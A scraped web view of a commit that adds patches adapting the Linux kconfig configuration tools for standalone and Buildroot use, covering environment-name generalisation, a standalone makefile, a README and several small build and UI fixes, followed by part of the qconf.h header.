||||
- perror( "KCONFIG_PROBABILITY" );
|
||||
+ perror( PRODUCT_ENV"_PROBABILITY" );
|
||||
exit( 1 );
|
||||
}
|
||||
env = (*endp == ':') ? endp+1 : endp;
|
||||
@@ -1190,7 +1190,7 @@
|
||||
|
||||
if( pty+ptm > 100 ) {
|
||||
errno = ERANGE;
|
||||
- perror( "KCONFIG_PROBABILITY" );
|
||||
+ perror( PRODUCT_ENV"_PROBABILITY" );
|
||||
exit( 1 );
|
||||
}
|
||||
}
|
||||
Index: kconfig/expr.h
|
||||
===================================================================
|
||||
--- kconfig.orig/expr.h 2014-05-20 13:12:12.000000000 +0200
|
||||
+++ kconfig/expr.h 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -93,7 +93,7 @@
|
||||
#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */
|
||||
#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */
|
||||
#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */
|
||||
-#define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */
|
||||
+#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */
|
||||
#define SYMBOL_CHANGED 0x0400 /* ? */
|
||||
#define SYMBOL_AUTO 0x1000 /* value from environment variable */
|
||||
#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */
|
||||
Index: kconfig/gconf.glade
|
||||
===================================================================
|
||||
--- kconfig.orig/gconf.glade 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/gconf.glade 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
<widget class="GtkWindow" id="window1">
|
||||
<property name="visible">True</property>
|
||||
- <property name="title" translatable="yes">Gtk Buildroot Configurator</property>
|
||||
+ <property name="title" translatable="yes">Gtk PRODUCT Configurator</property>
|
||||
<property name="type">GTK_WINDOW_TOPLEVEL</property>
|
||||
<property name="window_position">GTK_WIN_POS_NONE</property>
|
||||
<property name="modal">False</property>
|
||||
Index: kconfig/lkc.h
|
||||
===================================================================
|
||||
--- kconfig.orig/lkc.h 2014-05-20 13:12:12.000000000 +0200
|
||||
+++ kconfig/lkc.h 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -21,6 +21,21 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
+#ifndef PRODUCT_ENV
|
||||
+/* BR2 for buildroot, KCONFIG for kernel. */
|
||||
+#define PRODUCT_ENV "KCONFIG"
|
||||
+#endif
|
||||
+
|
||||
+#ifndef PRODUCT
|
||||
+/* Buildroot buildroot, Kernel for kernel. */
|
||||
+#define PRODUCT "Kernel"
|
||||
+#endif
|
||||
+
|
||||
+#ifndef PRODUCT_DOMAIN
|
||||
+/* buildroot.org for buildroot, kernel.org for kernel. */
|
||||
+#define PRODUCT_DOMAIN "kernel.org"
|
||||
+#endif
|
||||
+
|
||||
#define P(name,type,arg) extern type name arg
|
||||
#include "lkc_proto.h"
|
||||
#undef P
|
||||
Index: kconfig/mconf.c
|
||||
===================================================================
|
||||
--- kconfig.orig/mconf.c 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/mconf.c 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -959,7 +959,7 @@
|
||||
if (conf_get_changed())
|
||||
res = dialog_yesno(NULL,
|
||||
_("Do you wish to save your new configuration?\n"
|
||||
- "(Press <ESC><ESC> to continue Buildroot configuration.)"),
|
||||
+ "(Press <ESC><ESC> to continue "PRODUCT" configuration.)"),
|
||||
6, 60);
|
||||
else
|
||||
res = -1;
|
||||
Index: kconfig/merge_config.sh
|
||||
===================================================================
|
||||
--- kconfig.orig/merge_config.sh 2014-05-20 13:12:12.000000000 +0200
|
||||
+++ kconfig/merge_config.sh 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -131,7 +131,8 @@
|
||||
# Use the merged file as the starting point for:
|
||||
# alldefconfig: Fills in any missing symbols with Kconfig default
|
||||
# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set
|
||||
-make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET
|
||||
+PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG}
|
||||
+make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET
|
||||
|
||||
|
||||
# Check all specified config values took (might have missed-dependency issues)
|
||||
Index: kconfig/qconf.cc
|
||||
===================================================================
|
||||
--- kconfig.orig/qconf.cc 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/qconf.cc 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -70,7 +70,7 @@
|
||||
}
|
||||
|
||||
ConfigSettings::ConfigSettings()
|
||||
- : QSettings("buildroot.org", "qconf")
|
||||
+ : QSettings(PRODUCT_DOMAIN, "qconf")
|
||||
{
|
||||
}
|
||||
|
||||
Index: kconfig/zconf.tab.c_shipped
|
||||
===================================================================
|
||||
--- kconfig.orig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -2297,7 +2297,7 @@
|
||||
|
||||
sym_init();
|
||||
_menu_init();
|
||||
- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
|
||||
+ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL);
|
||||
|
||||
if (getenv("ZCONF_DEBUG"))
|
||||
zconfdebug = 1;
|
||||
Index: kconfig/zconf.y
|
||||
===================================================================
|
||||
--- kconfig.orig/zconf.y 2014-05-20 13:13:21.000000000 +0200
|
||||
+++ kconfig/zconf.y 2014-05-20 13:13:21.000000000 +0200
|
||||
@@ -493,7 +493,7 @@
|
||||
|
||||
sym_init();
|
||||
_menu_init();
|
||||
- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL);
|
||||
+ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL);
|
||||
|
||||
if (getenv("ZCONF_DEBUG"))
|
||||
zconfdebug = 1;
|
@ -0,0 +1,157 @@
|
||||
GNUmakefile | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
Makefile.br | 26 ++++++++++++------------
|
||||
README | 50 +++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
config.sh | 26 +++++++++++++++++++++++++
|
||||
4 files changed, 149 insertions(+), 13 deletions(-)
|
||||
|
||||
Index: kconfig/GNUmakefile
|
||||
===================================================================
|
||||
--- /dev/null 1970-01-01 00:00:00.000000000 +0000
|
||||
+++ kconfig/GNUmakefile 2014-05-20 14:12:37.000000000 +0200
|
||||
@@ -0,0 +1,60 @@
|
||||
+#
|
||||
+# Default stand alone makefile for kconfig.
|
||||
+#
|
||||
+# The Makefile and Makefile.br in this directory should
|
||||
+# not be called directly for standalone build.
|
||||
+# Actually they are included by this makefile.
|
||||
+#
|
||||
+
|
||||
+##
|
||||
+# Makefile parameters.
|
||||
+#
|
||||
+# The parameters are configured as for kernel build
|
||||
+# by default. Override them for your application
|
||||
+# setting.
|
||||
+#
|
||||
+
|
||||
+# TOP srcdir and this srcdir (relative to TOPDIR)
|
||||
+TOPDIR=.
|
||||
+SRCDIR=.
|
||||
+
|
||||
+# O: output directory (objs/exes), default to src dir
|
||||
+O=$(TOPDIR)/$(SRCDIR)
|
||||
+
|
||||
+# Build configuration
|
||||
+KBUILD_KCONFIG=Kconfig
|
||||
+KBUILD_CONFIG_DIR=configs
|
||||
+KBUILD_DEFCONFIG=defconfig
|
||||
+
|
||||
+# Product information (exported)
|
||||
+export PRODUCT_ENV=KCONFIG
|
||||
+export PRODUCT=Kernel
|
||||
+export PRODUCT_VERSION=<undefined version>
|
||||
+export PRODUCT_DOMAIN=kernel.org
|
||||
+
|
||||
+# Kconfig configuration (exported)
|
||||
+export $(PRODUCT_ENV)_CONFIG=config
|
||||
+
|
||||
+
|
||||
+# End of Makefile parameters.
|
||||
+##
|
||||
+
|
||||
+##
|
||||
+# Makefile adaptation/inclusion.
|
||||
+
|
||||
+# Buid vars
|
||||
+HOSTCC=$(CC)
|
||||
+HOSTCXX=$(CXX)
|
||||
+HOSTCFLAGS=-O2 -g
|
||||
+HOSTCXXFLAGS=-O2 -g
|
||||
+srctree=$(TOPDIR)
|
||||
+src=$(TOPDIR)/$(SRCDIR)
|
||||
+obj=$(O)
|
||||
+
|
||||
+# Enable execution from Makefile *conf programs
|
||||
+export PATH:=$(PATH):$(obj)
|
||||
+
|
||||
+include $(TOPDIR)/$(SRCDIR)/Makefile.br
|
||||
+
|
||||
+# End of Makefile adaptation/inclusion.
|
||||
+##
|
||||
Index: kconfig/README
|
||||
===================================================================
|
||||
--- /dev/null 1970-01-01 00:00:00.000000000 +0000
|
||||
+++ kconfig/README 2014-05-20 14:12:37.000000000 +0200
|
||||
@@ -0,0 +1,50 @@
|
||||
+
|
||||
+# Synopsys
|
||||
+
|
||||
+kconfig is an isolated packaging of the kernel configuration tools
|
||||
+as found in the scripts/kconfig/ directory of the kernel sources.
|
||||
+
|
||||
+The purpose is to provide the great functionalities of the kernel
|
||||
+configuration mechanism to any project that need application
|
||||
+level configuration.
|
||||
+
|
||||
+# Usage
|
||||
+
|
||||
+On can extract kconfig sources and run without installation
|
||||
+from his own project directory:
|
||||
+
|
||||
+$ cd myproject/
|
||||
+$ kconfig/config.sh manuconfig
|
||||
+
|
||||
+As a default the mypoject/Kconfig file must be present for
|
||||
+declaring the project configuration.
|
||||
+The result is a myproject/config file which can be sources in
|
||||
+a shell of makefile script.
|
||||
+
|
||||
+Alternatively the call to:
|
||||
+
|
||||
+$ kconfig/config.sh menuconfig
|
||||
+
|
||||
+can be replaced by a direct call to the kconfig/GNUmakefile:
|
||||
+
|
||||
+$ make -f kconfig/GNUmakefile TOPDIR=. SRCDIR=kconfig
|
||||
+
|
||||
+Note that all common kernel configuration targets are available,
|
||||
+in particular config, menuconfig, nconfig, gconfig, xconfig,
|
||||
+defconfig, oldconfig, etc...
|
||||
+
|
||||
+Get the list of targets with:
|
||||
+
|
||||
+$ kconfig/config.sh help
|
||||
+
|
||||
+or
|
||||
+
|
||||
+$ make -f kconfig/GNUmakefile help TOPDIR=. SRCDIR=kconfig
|
||||
+
|
||||
+
|
||||
+# References
|
||||
+
|
||||
+Ref to buildroot README.buildroot file for the original idea
|
||||
+of packaging kconfig.
|
||||
+
|
||||
+Ref to kernel.org for actual contributors of kconfig.
|
||||
Index: kconfig/config.sh
|
||||
===================================================================
|
||||
--- /dev/null 1970-01-01 00:00:00.000000000 +0000
|
||||
+++ kconfig/config.sh 2014-05-20 14:12:37.000000000 +0200
|
||||
@@ -0,0 +1,26 @@
|
||||
+#!/bin/sh
|
||||
+#
|
||||
+# usage: kconfig/config.sh <make args>
|
||||
+#
|
||||
+# Runs the requested configuration from
|
||||
+# the directory to be configured.
|
||||
+#
|
||||
+# For instance:
|
||||
+# cd myproject/
|
||||
+# kconfig/config.sh menuconfig
|
||||
+#
|
||||
+# Will generated a 'config' file in
|
||||
+# myproject/ from the 'Kconfig' file
|
||||
+# in myproject/
|
||||
+#
|
||||
+
|
||||
+set -e
|
||||
+dir=`dirname $0`
|
||||
+topdir=`dirname $dir`
|
||||
+srcdir=`basename $dir`
|
||||
+kconfig_targets="${1-config}"
|
||||
+set -x
|
||||
+exec make -f $dir/GNUmakefile \
|
||||
+ TOPDIR=$topdir \
|
||||
+ SRCDIR=$srcdir \
|
||||
+ $kconfig_targets
|
@ -0,0 +1,17 @@
|
||||
---
|
||||
lxdialog/check-lxdialog.sh | 2 +-
|
||||
1 file changed, 1 insertion(+), 1 deletion(-)
|
||||
|
||||
Index: b/lxdialog/check-lxdialog.sh
|
||||
===================================================================
|
||||
--- a/lxdialog/check-lxdialog.sh
|
||||
+++ b/lxdialog/check-lxdialog.sh
|
||||
@@ -36,7 +36,7 @@
|
||||
}
|
||||
|
||||
# Temp file, try to clean up after us
|
||||
-tmp=.lxdialog.tmp
|
||||
+tmp=$(mktemp)
|
||||
trap "rm -f $tmp" 0 1 2 3 15
|
||||
|
||||
# Check if we can link to ncurses
|
@ -0,0 +1,17 @@
|
||||
---
|
||||
gconf.c | 2 +-
|
||||
1 file changed, 1 insertion(+), 1 deletion(-)
|
||||
|
||||
Index: b/gconf.c
|
||||
===================================================================
|
||||
--- a/gconf.c
|
||||
+++ b/gconf.c
|
||||
@@ -1486,7 +1486,7 @@
|
||||
/* Determine GUI path */
|
||||
env = getenv(SRCTREE);
|
||||
if (env)
|
||||
- glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL);
|
||||
+ glade_file = g_strconcat(env, "/support/kconfig/gconf.glade", NULL);
|
||||
else if (av[0][0] == '/')
|
||||
glade_file = g_strconcat(av[0], ".glade", NULL);
|
||||
else
|
@ -0,0 +1,207 @@
|
||||
---
|
||||
conf.c | 1
|
||||
confdata.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++---------------
|
||||
util.c | 16 +++++++++++++--
|
||||
3 files changed, 61 insertions(+), 18 deletions(-)
|
||||
|
||||
Index: b/conf.c
|
||||
===================================================================
|
||||
--- a/conf.c
|
||||
+++ b/conf.c
|
||||
@@ -558,7 +558,6 @@
|
||||
}
|
||||
name = av[optind];
|
||||
conf_parse(name);
|
||||
- //zconfdump(stdout);
|
||||
if (sync_kconfig) {
|
||||
name = conf_get_configname();
|
||||
if (stat(name, &tmpstat)) {
|
||||
Index: b/confdata.c
|
||||
===================================================================
|
||||
--- a/confdata.c
|
||||
+++ b/confdata.c
|
||||
@@ -13,6 +13,7 @@
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
+#include <libgen.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
@@ -70,9 +71,7 @@
|
||||
|
||||
const char *conf_get_autoconfig_name(void)
|
||||
{
|
||||
- char *name = getenv("KCONFIG_AUTOCONFIG");
|
||||
-
|
||||
- return name ? name : "include/config/auto.conf";
|
||||
+ return getenv("KCONFIG_AUTOCONFIG");
|
||||
}
|
||||
|
||||
static char *conf_expand_value(const char *in)
|
||||
@@ -742,6 +741,9 @@
|
||||
char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1];
|
||||
char *env;
|
||||
|
||||
+ if (!name)
|
||||
+ name = conf_get_configname();
|
||||
+
|
||||
dirname[0] = 0;
|
||||
if (name && name[0]) {
|
||||
struct stat st;
|
||||
@@ -836,6 +838,7 @@
|
||||
{
|
||||
const char *name;
|
||||
char path[PATH_MAX+1];
|
||||
+ char *opwd, *dir, *_name;
|
||||
char *s, *d, c;
|
||||
struct symbol *sym;
|
||||
struct stat sb;
|
||||
@@ -844,8 +847,20 @@
|
||||
name = conf_get_autoconfig_name();
|
||||
conf_read_simple(name, S_DEF_AUTO);
|
||||
|
||||
- if (chdir("include/config"))
|
||||
- return 1;
|
||||
+ opwd = malloc(256);
|
||||
+ _name = strdup(name);
|
||||
+ if (opwd == NULL || _name == NULL)
|
||||
+ return 1;
|
||||
+ opwd = getcwd(opwd, 256);
|
||||
+ dir = dirname(_name);
|
||||
+ if (dir == NULL) {
|
||||
+ res = 1;
|
||||
+ goto err;
|
||||
+ }
|
||||
+ if (chdir(dir)) {
|
||||
+ res = 1;
|
||||
+ goto err;
|
||||
+ }
|
||||
|
||||
res = 0;
|
||||
for_all_symbols(i, sym) {
|
||||
@@ -938,9 +953,11 @@
|
||||
close(fd);
|
||||
}
|
||||
out:
|
||||
- if (chdir("../.."))
|
||||
- return 1;
|
||||
-
|
||||
+ if (chdir(opwd))
|
||||
+ res = 1;
|
||||
+err:
|
||||
+ free(opwd);
|
||||
+ free(_name);
|
||||
return res;
|
||||
}
|
||||
|
||||
@@ -950,25 +967,38 @@
|
||||
const char *name;
|
||||
FILE *out, *tristate, *out_h;
|
||||
int i;
|
||||
+ char dir[PATH_MAX+1], buf[PATH_MAX+1];
|
||||
+ char *s;
|
||||
+
|
||||
+ strcpy(dir, conf_get_configname());
|
||||
+ s = strrchr(dir, '/');
|
||||
+ if (s)
|
||||
+ s[1] = 0;
|
||||
+ else
|
||||
+ dir[0] = 0;
|
||||
|
||||
sym_clear_all_valid();
|
||||
|
||||
- file_write_dep("include/config/auto.conf.cmd");
|
||||
+ sprintf(buf, "%s.config.cmd", dir);
|
||||
+ file_write_dep(buf);
|
||||
|
||||
if (conf_split_config())
|
||||
return 1;
|
||||
|
||||
- out = fopen(".tmpconfig", "w");
|
||||
+ sprintf(buf, "%s.tmpconfig", dir);
|
||||
+ out = fopen(buf, "w");
|
||||
if (!out)
|
||||
return 1;
|
||||
|
||||
- tristate = fopen(".tmpconfig_tristate", "w");
|
||||
+ sprintf(buf, "%s.tmpconfig_tristate", dir);
|
||||
+ tristate = fopen(buf, "w");
|
||||
if (!tristate) {
|
||||
fclose(out);
|
||||
return 1;
|
||||
}
|
||||
|
||||
- out_h = fopen(".tmpconfig.h", "w");
|
||||
+ sprintf(buf, "%s.tmpconfig.h", dir);
|
||||
+ out_h = fopen(buf, "w");
|
||||
if (!out_h) {
|
||||
fclose(out);
|
||||
fclose(tristate);
|
||||
@@ -1000,19 +1030,22 @@
|
||||
name = getenv("KCONFIG_AUTOHEADER");
|
||||
if (!name)
|
||||
name = "include/generated/autoconf.h";
|
||||
- if (rename(".tmpconfig.h", name))
|
||||
+ sprintf(buf, "%s.tmpconfig.h", dir);
|
||||
+ if (rename(buf, name))
|
||||
return 1;
|
||||
name = getenv("KCONFIG_TRISTATE");
|
||||
if (!name)
|
||||
name = "include/config/tristate.conf";
|
||||
- if (rename(".tmpconfig_tristate", name))
|
||||
+ sprintf(buf, "%s.tmpconfig_tristate", dir);
|
||||
+ if (rename(buf, name))
|
||||
return 1;
|
||||
name = conf_get_autoconfig_name();
|
||||
/*
|
||||
* This must be the last step, kbuild has a dependency on auto.conf
|
||||
* and this marks the successful completion of the previous steps.
|
||||
*/
|
||||
- if (rename(".tmpconfig", name))
|
||||
+ sprintf(buf, "%s.tmpconfig", dir);
|
||||
+ if (rename(buf, name))
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
Index: b/util.c
|
||||
===================================================================
|
||||
--- a/util.c
|
||||
+++ b/util.c
|
||||
@@ -34,6 +34,8 @@
|
||||
/* write a dependency file as used by kbuild to track dependencies */
|
||||
int file_write_dep(const char *name)
|
||||
{
|
||||
+ char *str;
|
||||
+ char buf[PATH_MAX+1], buf2[PATH_MAX+1], dir[PATH_MAX+1];
|
||||
struct symbol *sym, *env_sym;
|
||||
struct expr *e;
|
||||
struct file *file;
|
||||
@@ -41,7 +43,16 @@
|
||||
|
||||
if (!name)
|
||||
name = ".kconfig.d";
|
||||
- out = fopen("..config.tmp", "w");
|
||||
+
|
||||
+ strcpy(dir, conf_get_configname());
|
||||
+ str = strrchr(dir, '/');
|
||||
+ if (str)
|
||||
+ str[1] = 0;
|
||||
+ else
|
||||
+ dir[0] = 0;
|
||||
+
|
||||
+ sprintf(buf, "%s..config.tmp", dir);
|
||||
+ out = fopen(buf, "w");
|
||||
if (!out)
|
||||
return 1;
|
||||
fprintf(out, "deps_config := \\\n");
|
||||
@@ -72,7 +83,8 @@
|
||||
|
||||
fprintf(out, "\n$(deps_config): ;\n");
|
||||
fclose(out);
|
||||
- rename("..config.tmp", name);
|
||||
+ sprintf(buf2, "%s%s", dir, name);
|
||||
+ rename(buf, buf2);
|
||||
return 0;
|
||||
}
|
||||
|
@ -0,0 +1,24 @@
|
||||
Fix the rule that generates the .moc file
|
||||
|
||||
The Linux kernel has a "cmd" make function, but we don't have it in
|
||||
Buildroot, so we need to adjust this rule.
|
||||
|
||||
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
|
||||
|
||||
Index: b/Makefile
|
||||
===================================================================
|
||||
--- a/Makefile
|
||||
+++ b/Makefile
|
||||
@@ -309,11 +309,8 @@
|
||||
|
||||
$(obj)/qconf.o: $(obj)/qconf.moc
|
||||
|
||||
-quiet_cmd_moc = MOC $@
|
||||
- cmd_moc = $(KC_QT_MOC) -i $< -o $@
|
||||
-
|
||||
$(obj)/%.moc: $(src)/%.h $(obj)/.tmp_qtcheck
|
||||
- $(call cmd,moc)
|
||||
+ $(KC_QT_MOC) -i $< -o $@
|
||||
|
||||
# Extract gconf menu items for I18N support
|
||||
$(obj)/gconf.glade.h: $(obj)/gconf.glade
|
@ -0,0 +1,41 @@
|
||||
commit 6faa447282fe90d42e0513af46c13f20b4b327d4
|
||||
Author: Yann E. MORIN <yann.morin.1998@free.fr>
|
||||
Date: Wed Nov 13 22:45:02 2013 +0100
|
||||
|
||||
support/kconfig: fix 'space' to (de)select options
|
||||
|
||||
In case a menu has comment without letters/numbers (eg. characters
|
||||
matching the regexp '^[^[:alpha:][:digit:]]+$', for example - or *),
|
||||
hitting space will cycle through those comments, rather than
|
||||
selecting/deselecting the currently-highlighted option.
|
||||
|
||||
This is the behaviour of hitting any letter/digit: jump to the next
|
||||
option which prompt starts with that letter. The only letters that
|
||||
do not behave as such are 'y' 'm' and 'n'. Prompts that start with
|
||||
one of those three letters are instead matched on the first letter
|
||||
that is not 'y', 'm' or 'n'.
|
||||
|
||||
Fix that by treating 'space' as we treat y/m/n, ie. as an action key,
|
||||
not as shortcut to jump to prompt.
|
||||
|
||||
Signed-off-by: "Yann E. MORIN" <yann.morin.1998@free.fr>
|
||||
Cc: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
|
||||
Cc: Peter Korsgaard <jacmet@uclibc.org>
|
||||
Cc: Samuel Martin <s.martin49@gmail.com>
|
||||
Cc: Thomas De Schampheleire <patrickdepinguin@gmail.com>
|
||||
---
|
||||
Note: I'll be running this upstream soonish.
|
||||
|
||||
diff --git a/support/kconfig/lxdialog/menubox.c b/support/kconfig/lxdialog/menubox.c
|
||||
index 48d382e..6fc7e78 100644
|
||||
--- a/lxdialog/menubox.c
|
||||
+++ b/lxdialog/menubox.c
|
||||
@@ -285,7 +285,7 @@ do_resize:
|
||||
if (key < 256 && isalpha(key))
|
||||
key = tolower(key);
|
||||
|
||||
- if (strchr("ynmh", key))
|
||||
+ if (strchr("ynmh ", key))
|
||||
i = max_choice;
|
||||
else {
|
||||
for (i = choice + 1; i < max_choice; i++) {
|
@ -0,0 +1,9 @@
|
||||
01-kconfig-kernel-to-buildroot.patch
|
||||
10-br-build-system.patch
|
||||
11-use-mktemp-for-lxdialog.patch
|
||||
12-fix-glade-file-path.patch
|
||||
14-support-out-of-tree-config.patch
|
||||
15-fix-qconf-moc-rule.patch
|
||||
16-fix-space-to-de-select-options.patch
|
||||
100-kconfig-generic-env.patch
|
||||
101-kconfig-build.patch
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,338 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#if QT_VERSION < 0x040000
|
||||
#include <qlistview.h>
|
||||
#else
|
||||
#include <q3listview.h>
|
||||
#endif
|
||||
#include <qsettings.h>
|
||||
|
||||
#if QT_VERSION < 0x040000
|
||||
#define Q3ValueList QValueList
|
||||
#define Q3PopupMenu QPopupMenu
|
||||
#define Q3ListView QListView
|
||||
#define Q3ListViewItem QListViewItem
|
||||
#define Q3VBox QVBox
|
||||
#define Q3TextBrowser QTextBrowser
|
||||
#define Q3MainWindow QMainWindow
|
||||
#define Q3Action QAction
|
||||
#define Q3ToolBar QToolBar
|
||||
#define Q3ListViewItemIterator QListViewItemIterator
|
||||
#define Q3FileDialog QFileDialog
|
||||
#endif
|
||||
|
||||
class ConfigView;
|
||||
class ConfigList;
|
||||
class ConfigItem;
|
||||
class ConfigLineEdit;
|
||||
class ConfigMainWindow;
|
||||
|
||||
class ConfigSettings : public QSettings {
|
||||
public:
|
||||
ConfigSettings();
|
||||
Q3ValueList<int> readSizes(const QString& key, bool *ok);
|
||||
bool writeSizes(const QString& key, const Q3ValueList<int>& value);
|
||||
};
|
||||
|
||||
enum colIdx {
|
||||
promptColIdx, nameColIdx, noColIdx, modColIdx, yesColIdx, dataColIdx, colNr
|
||||
};
|
||||
enum listMode {
|
||||
singleMode, menuMode, symbolMode, fullMode, listMode
|
||||
};
|
||||
enum optionMode {
|
||||
normalOpt = 0, allOpt, promptOpt
|
||||
};
|
||||
|
||||
class ConfigList : public Q3ListView {
|
||||
Q_OBJECT
|
||||
typedef class Q3ListView Parent;
|
||||
public:
|
||||
ConfigList(ConfigView* p, const char *name = 0);
|
||||
void reinit(void);
|
||||
ConfigView* parent(void) const
|
||||
{
|
||||
return (ConfigView*)Parent::parent();
|
||||
}
|
||||
ConfigItem* findConfigItem(struct menu *);
|
||||
|
||||
protected:
|
||||
void keyPressEvent(QKeyEvent *e);
|
||||
void contentsMousePressEvent(QMouseEvent *e);
|
||||
void contentsMouseReleaseEvent(QMouseEvent *e);
|
||||
void contentsMouseMoveEvent(QMouseEvent *e);
|
||||
void contentsMouseDoubleClickEvent(QMouseEvent *e);
|
||||
void focusInEvent(QFocusEvent *e);
|
||||
void contextMenuEvent(QContextMenuEvent *e);
|
||||
|
||||
public slots:
|
||||
void setRootMenu(struct menu *menu);
|
||||
|
||||
void updateList(ConfigItem *item);
|
||||
void setValue(ConfigItem* item, tristate val);
|
||||
void changeValue(ConfigItem* item);
|
||||
void updateSelection(void);
|
||||
void saveSettings(void);
|
||||
signals:
|
||||
void menuChanged(struct menu *menu);
|
||||
void menuSelected(struct menu *menu);
|
||||
void parentSelected(void);
|
||||
void gotFocus(struct menu *);
|
||||
|
||||
public:
|
||||
void updateListAll(void)
|
||||
{
|
||||
updateAll = true;
|
||||
updateList(NULL);
|
||||
updateAll = false;
|
||||
}
|
||||
ConfigList* listView()
|
||||
{
|
||||
return this;
|
||||
}
|
||||
ConfigItem* firstChild() const
|
||||
{
|
||||
return (ConfigItem *)Parent::firstChild();
|
||||
}
|
||||
int mapIdx(colIdx idx)
|
||||
{
|
||||
return colMap[idx];
|
||||
}
|
||||
void addColumn(colIdx idx, const QString& label)
|
||||
{
|
||||
colMap[idx] = Parent::addColumn(label);
|
||||
colRevMap[colMap[idx]] = idx;
|
||||
}
|
||||
void removeColumn(colIdx idx)
|
||||
{
|
||||
int col = colMap[idx];
|
||||
if (col >= 0) {
|
||||
Parent::removeColumn(col);
|
||||
colRevMap[col] = colMap[idx] = -1;
|
||||
}
|
||||
}
|
||||
void setAllOpen(bool open);
|
||||
void setParentMenu(void);
|
||||
|
||||
bool menuSkip(struct menu *);
|
||||
|
||||
template <class P>
|
||||
void updateMenuList(P*, struct menu*);
|
||||
|
||||
bool updateAll;
|
||||
|
||||
QPixmap symbolYesPix, symbolModPix, symbolNoPix;
|
||||
QPixmap choiceYesPix, choiceNoPix;
|
||||
QPixmap menuPix, menuInvPix, menuBackPix, voidPix;
|
||||
|
||||
bool showName, showRange, showData;
|
||||
enum listMode mode;
|
||||
enum optionMode optMode;
|
||||
struct menu *rootEntry;
|
||||
QColorGroup disabledColorGroup;
|
||||
QColorGroup inactivedColorGroup;
|
||||
Q3PopupMenu* headerPopup;
|
||||
|
||||
private:
|
||||
int colMap[colNr];
|
||||
int colRevMap[colNr];
|
||||
};
|
||||
|
||||
class ConfigItem : public Q3ListViewItem {
|
||||
typedef class Q3ListViewItem Parent;
|
||||
public:
|
||||
ConfigItem(Q3ListView *parent, ConfigItem *after, struct menu *m, bool v)
|
||||
: Parent(parent, after), menu(m), visible(v), goParent(false)
|
||||
{
|
||||
init();
|
||||
}
|
||||
ConfigItem(ConfigItem *parent, ConfigItem *after, struct menu *m, bool v)
|
||||
: Parent(parent, after), menu(m), visible(v), goParent(false)
|
||||
{
|
||||
init();
|
||||
}
|
||||
ConfigItem(Q3ListView *parent, ConfigItem *after, bool v)
|
||||
: Parent(parent, after), menu(0), visible(v), goParent(true)
|
||||
{
|
||||
init();
|
||||
}
|
||||
~ConfigItem(void);
|
||||
void init(void);
|
||||
void okRename(int col);
|
||||
void updateMenu(void);
|
||||
void testUpdateMenu(bool v);
|
||||
ConfigList* listView() const
|
||||
{
|
||||
return (ConfigList*)Parent::listView();
|
||||
}
|
||||
ConfigItem* firstChild() const
|
||||
{
|
||||
return (ConfigItem *)Parent::firstChild();
|
||||
}
|
||||
ConfigItem* nextSibling() const
|
||||
{
|
||||
return (ConfigItem *)Parent::nextSibling();
|
||||
}
|
||||
void setText(colIdx idx, const QString& text)
|
||||
{
|
||||
Parent::setText(listView()->mapIdx(idx), text);
|
||||
}
|
||||
QString text(colIdx idx) const
|
||||
{
|
||||
return Parent::text(listView()->mapIdx(idx));
|
||||
}
|
||||
void setPixmap(colIdx idx, const QPixmap& pm)
|
||||
{
|
||||
Parent::setPixmap(listView()->mapIdx(idx), pm);
|
||||
}
|
||||
const QPixmap* pixmap(colIdx idx) const
|
||||
{
|
||||
return Parent::pixmap(listView()->mapIdx(idx));
|
||||
}
|
||||
void paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align);
|
||||
|
||||
ConfigItem* nextItem;
|
||||
struct menu *menu;
|
||||
bool visible;
|
||||
bool goParent;
|
||||
};
|
||||
|
||||
class ConfigLineEdit : public QLineEdit {
|
||||
Q_OBJECT
|
||||
typedef class QLineEdit Parent;
|
||||
public:
|
||||
ConfigLineEdit(ConfigView* parent);
|
||||
ConfigView* parent(void) const
|
||||
{
|
||||
return (ConfigView*)Parent::parent();
|
||||
}
|
||||
void show(ConfigItem *i);
|
||||
void keyPressEvent(QKeyEvent *e);
|
||||
|
||||
public:
|
||||
